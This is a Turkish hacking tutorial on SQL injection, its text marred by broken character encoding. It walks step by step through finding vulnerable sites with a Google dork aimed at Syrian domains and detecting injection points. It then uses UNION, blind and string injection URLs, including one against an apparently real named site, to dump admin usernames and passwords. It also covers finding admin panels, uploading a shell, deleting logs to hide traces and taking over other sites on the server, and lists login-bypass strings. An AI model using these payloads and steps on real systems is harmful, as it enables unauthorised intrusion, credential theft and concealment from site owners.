Evet arkadaşlar artık XSS lsquoi ayrıntısına kadar oumlğrendiniz
SQL İnjection1- SQL İnjection Nedir
SQL (Structured Query Language)
SQL İnjection duumlnya uumlzerinde en ccedilok ilgi goumlrev Web Uygulama zaafiyetidirSitelerdeki SQLveritabanına odaklı bir saldırı ccedileşididirKaba tabirle SQL veritabanının ccedilalıştıracağı SQL komutlarıylaSQL İnjection zaafiyeti bulunan bir sitedeki veri geccedilişini kullanarak kendi mevfaatlerimiz ccedilerccedilevesindehedef veriyi ccedilalmak iccedilin kullanılır
2- SQL İnjectionrsquoun Mantığı Nedir
Deminde bahsettiğim gibi SQL Veritabanı odaklı bir zaafiyet olduğu iccedilin direk veritabanıyla ilgilisaldırılar yapılırYani bize gerekli olan biraz SQL Komutu bilmektirAkılda kalıcılık accedilısından komik biroumlrnek vereyim
Bir HEDİYE kutusu varO hediye kutusunun iccedilerisinde hediyenin olduğunu duumlşuumlnelimKutuyu accediltınızve baktınız ki iccedilerisinde bir kutu daha varOnu da accediltınız onun iccedilerisinde de bir kutu var onu da accediltıktansonra son kutumuza geliyoruzO kutunun iccedilerisinde hediye yani hedef verimiz mevcuttur )
İlk kutuyu tablo olarak İkinci kutumuzu tablo iccedilerisindeki kolon olarak Uumlccediluumlncuuml kutumuzun iccedilerisindekihediyeyi de hedef veri olarak goumlrebilirizYani iccedil iccedile geccedilmiş bir yapı olarak hayal edebiliriz
3- Temel SQL Komutlarını Tanıyalım
SQL İnjection saldırısında bulunurken ne kadar SQL Komutunu tanıyorsanız o kadar iyidirCcediluumlnkuumlSQL İnjection saldırısını yaparken SQL Komutlarını kullanırız
SELECT - Veri seccedilmek iccedilin
CREATE - Tablo yaratmak iccedilin
INSERT - Tablo eklemesi yapmak iccedilin
UPDATE - Veri guumlncelleme
DELETE - Veri silmek
DROP - Tablo silmek
FROM - (- den - dan beri )
WHERE - Nereden neresi nerede
Kısacak bu komutlarla SQL İnjection saldırısını geccedilekleştireceğizBunları bilmekte fayda var
4- SQL İnjection ile Neler Yapılabilir
SQL İnjection saldırısı ile veri silebilir ekleyebilir değiştirebilirizBunları yapmak iccedilin sistemde birkaccediliznimizin olması gerekiyorYani sistem bize veri silme ekleme yetkisi vermiyorsa biz zaten bunlarıyapamayızSQL İnjection saldırısı ccediloğunlukla hedef sistemin youmlnetici şifresini ele geccedilirerek sistemeyoumlnetici gibi giriş yapıp sistemi hacklemek iccedilin kullanılırAma ne yazık ki SQL İnjection saldırısı ileyapabileceklerimizin sadece bunlarla sınırlı olmadığını uumllkemizdeki ccediloğu kimse bilmiyorGeccedilenlerde biryerde okumuştum onu da sizlerle paylaşayımYabancı uumllkede bir Hacker buumlyuumlk bir sisteminde SQLİnjection accedilığı bulmuşDaha sonra veritabanın da ki tuumlm kredi kartı bilgilerini ccedilalmışToplam olarak kaccedilkredi kartı ccedilaldığını bilmiyorum ama ccedilok yuumlkluuml miktarda mevla kaldırmışAma biz tabii ki Dinimizingereğince haram para ve kazanccedilta goumlzuumlmuumlz yokHaram olan bir kazancın bize yararıdokunmayacağını biliriz
5- SQL İnjection Accedilığı Nerelerde Bulunabilir Belirli Bir Dorkrsquou Varmıdır
SQL İnjection ccedilok geniş kapsamlı ve ccedilok tehlikeli bir accedilıktırTuumlm sistemlerde rastlanabilen bir accedilıktır
SQL İnjection saldırılarının id= değerlerinin bulunduğu sitelerde Search (Arama) kutucuklarındaformlarda vs yerlerde bulunabilirYani veri alışverişinin yapıldığı her yerde bulunabilirSize başlangıccediliccedilin bir Dork vereceğimDorkrsquou Googlersquoda arattığınızda karşınıza bir suumlruuml site gelecekBu sitelerde iddeğerinin bulunduğu yerlerde SQL İnjection accedilığı araması yapabilirsiniz
Dork inurlrdquophpid=rdquo sitesy -gt bu dorkta şunu dedik(Suriye) Sy sitelerinde phpid= değerininbulunduğu siteleri goumlsterSQL İnjection saldırısına aşağıda değineceğiz
6- Ccedileşitli Yerlerde SQL İnjection Saldırısı Yapmak
Yukarıda da bahsettiğim gibi SQL İnjection saldırısını birccedilok yerde yapabilirizŞimdi bu accedilığı iyice birtanıyalım
a-) SQL İnjection Accedilığı Nasıl Tespit Edilir (Tipik SQL İnjection Hatası)
Bir Web Site duumlşuumlnuumln wwwsitemcomsayfaphpid=1 şeklinde
Burada SQL Accedilığının olup olmadığını id= değerinin sol tarafındaki değerin sonuna veya değerinbaşına lsquo veya lsquoa koyarak anlayabilirizYani linkimizin son şekli
wwwsitemcomsayfaphpid=1rsquo veya wwwsitemcomsayfaphpid=1rsquoa şeklinde oluyor
Eee tamam ben aynı şekilde yaptım accedilık olduğunu nasıl anlayacağım
SQL Accedilıklarını Tipik olarak bize verdiği hatadan anlarızYani hatalar SQL İnjection ccedileşitlerine goumlredeğişkenlik goumlsterebiliyorBiz şuanda normal bir SQL Accedilığının nasıl bulanacağına yoğunlaşalım
Oumlrnek bir SQL İnjection hatası
Evet lsquo koyduktan sonra bu hatayı alıyorsak burada SQL İnjection accedilığı olduğunu kavrıyoruz
b-) Search Kutularında SQL İnject Accedilığı Aramak
Search Arama kelimesinin ingilizce kavramıdırŞimdi sitelerdeki Search kutularında SQL Accedilığıarayacağız
Search kutucuğu goumlrduumlğuumlnuumlz yerlere lsquo - lsquoa gibi işaretleri yapıp ara butonuna tıklıyoruzEğer ekrandatekrardan bir SQL İnjection hatası alıyorsanız Search dosyasında accedilık olduğunu anlıyoruz
c-) Kayıt Formlarında SQL İnject Accedilığı Aramak
Kayıt formlarının siteler iccedilin ccedilok tehlike arz eden kısımlar olduğundan bahsetmiştikYukarıda daXSS accedilığının nasıl aranacağında goumlrmuumlştuumlkHemen SQL Accedilığının nasıl aranacağına bakıyoruz
Evet goumlruumllduumlğuuml uumlzere tuumlm textrsquolere lsquoa yazılmışDaha sonra Goumlnder Butonu veya kayıt ol butonu varsatıkladığımızda bizim karşımıza tekrar SQL Hatası geliyorsa kayıt dosyasında accedilık olduğunu anlarız
d-) İD Değerinin Bulunduğu Sitelerde SQL İnject Accedilığı Aramak
Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım
Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş
Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu
e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak
Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)
Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz
ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız
7-Saldırı Anı(SQL Accedilığının Tespiti)
Bir Web Sayfası duumlşuumlnuumln
wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen
wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit
8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)
Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım
Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler
Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim
wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml
wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana
Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz
wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi
wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş
Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz
9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)
Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım
Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım
wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz
-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass
Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen
wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit
wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz
wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678--
wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur
Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden
10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)
Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz
Oumlnce Group_Concat Fonksiyonunu tanıyalım
Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım
wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--
Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik
table_name = Tablo isimleri
information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri
information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir
information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--
Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim
Ekrana yansıyan tablo isimlerine bir bakalım
adminresimleradreslerhizmetler vs vs olsun
bize burada lazım olacak tabloyu seccediliyoruz admin
Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız
Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri
Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--
Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz
Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)
Hexlenecek isim database()
Hexlenmiş Hali 64617461626173652829
Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--
Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz
11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)
Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi
Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz
Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--
Hexlenecek ad admin
Hexlenmiş hali 61646d696e
Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--
Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz
Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--
Sorguyu goumlnderdik
Username admin
Password bugres
Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur
UsernamePassword Char Code Ccedilevrilmiş Hali
StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)
Char Code halini group_concat() fonksiyonunun arasına yazıyoruz
wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--
Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz
12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)
Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi
Tekrar hatırlayalım
Uname admin
Pword bugres
Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız
Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim
Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır
Wordpress Admin panel yolu wp-admin
Joomla admin panel yolu administrator
Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz
Tahmine başlıyoruz
wwwsayfamcomadmin -gt Error
wwwsayfamcomyoneticiphp -gt Error
wwwsayfamcomadminphp -gt Error
wwwsayfamcomlog_inphp -gt Yess P
Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz
Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz
13-Saldırı Anı7(İzlerimizi Silmek)
Evet sisteme girdikSite sistemi log(kayıt) tutuyor olabilirYani admin paneline girişimizi veya uploadettiğimiz dosyaları log tutuyor olabilirBurada sistemde işimizi bitirdikten sonra yapmamız gereken şeyupload ettiğimiz shell i ve logları silmekSilmez isek tehlike arz ediyor
14-Sonuccedil
Neler yaptık
Sisteme guumlvenlik accedilığı bulup admin şifresini ve kullanıcı adı adını ccedilekerek sisteme girişyaptıkShellimizi yuumlkledikPeki yapacaklarımız bunlarla mı sınırlı hayırServerdeki sitelere de girmeşansımız mevcutServer daki en uumlst duumlzey yetkiye sahip olan ROOT dediğimiz şahısın yerine geccedilerekyani sistemde ROOT olarak server daki diğer sitelere giriş yapabilirizROOT İşlemli Linux veWINDOWS serverlarrsquoa goumlre değişkenlik goumlsteriyor
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
Eğer versiyonu 4 olsaydı tahmin yoluyla yapmak zorunda kalırdıkŞimdi tabloları ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select table_name from information_schematableswhere table_name like 0x257573657225)11)=0x75 komutunu yazacağızBurada dedik ki iccedilerisindeusers geccedilen ilk tablonun ilk harfi 0x75 yani ursquomu eğer u ise demek ki sayfa duumlzguumln accedilılacakTablonunUsers olduğunu farz ederek devam ediyorum
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 21)150) like 0x257061737325
burada 0x7573657273 bu users demek like 0x257061737325 buda pass demek yani yinedeniyoruzBurada limit 2 dedimNedeni ise genelde user ve pass sitede 01 ve 2 kolonlarda olurBuarada goumlrduumlğuumlnuumlz 0x ile başlayan sayılar sizinde bileceğiniz uumlzere Hexrsquodir
Şimdi user sutuumlnunu ccedilekelim
wwwsayfacomdosyaphpid=2 and substring((select column_name frominformation_schemacolumns where table_name=0x7573657273 limit 11)150) like 0x75736572
Diyelim ki İki kolonud a doğru tahmin ettikŞimdi ne var elimizde user ve pass kolonlarıvarİccedilerisindeki veriyi ccedilekelim
and substring((select user from users)11)=0x(tahmin edilen users)
and substring((select pass from users)21)=0x(tahmin edilen users)
Bu şekilde Hex ile harf harf tahmin ederek teker teker ccedilekiyoruz
Biraz zordur Blind SQL İnjectionAma pes etmemek gerekir
d-) String SQL İnjection
Normal bir SQL İnjection saldırısında ne yapıyorduk Oumlnce lsquo veya lsquoa koyarak SQL HatasıalıyordukDaha sonra ORDER BY komutu ile kolon sayısını oumlğrenip devam ediyordukString SQLİnjectionrsquoda işler değişiyorYani normal saldırıdaki gibi lsquo lsquoa koyuyoruz ama ORDER BY ile kolonsayısını oumlğrenmek istediğimizde oumlğrenemiyoruzYani
wwwsitecomsayfaphpid=1+order+by+1-- yapiyoruzSayfa eski haline doumlnuumlyor
wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
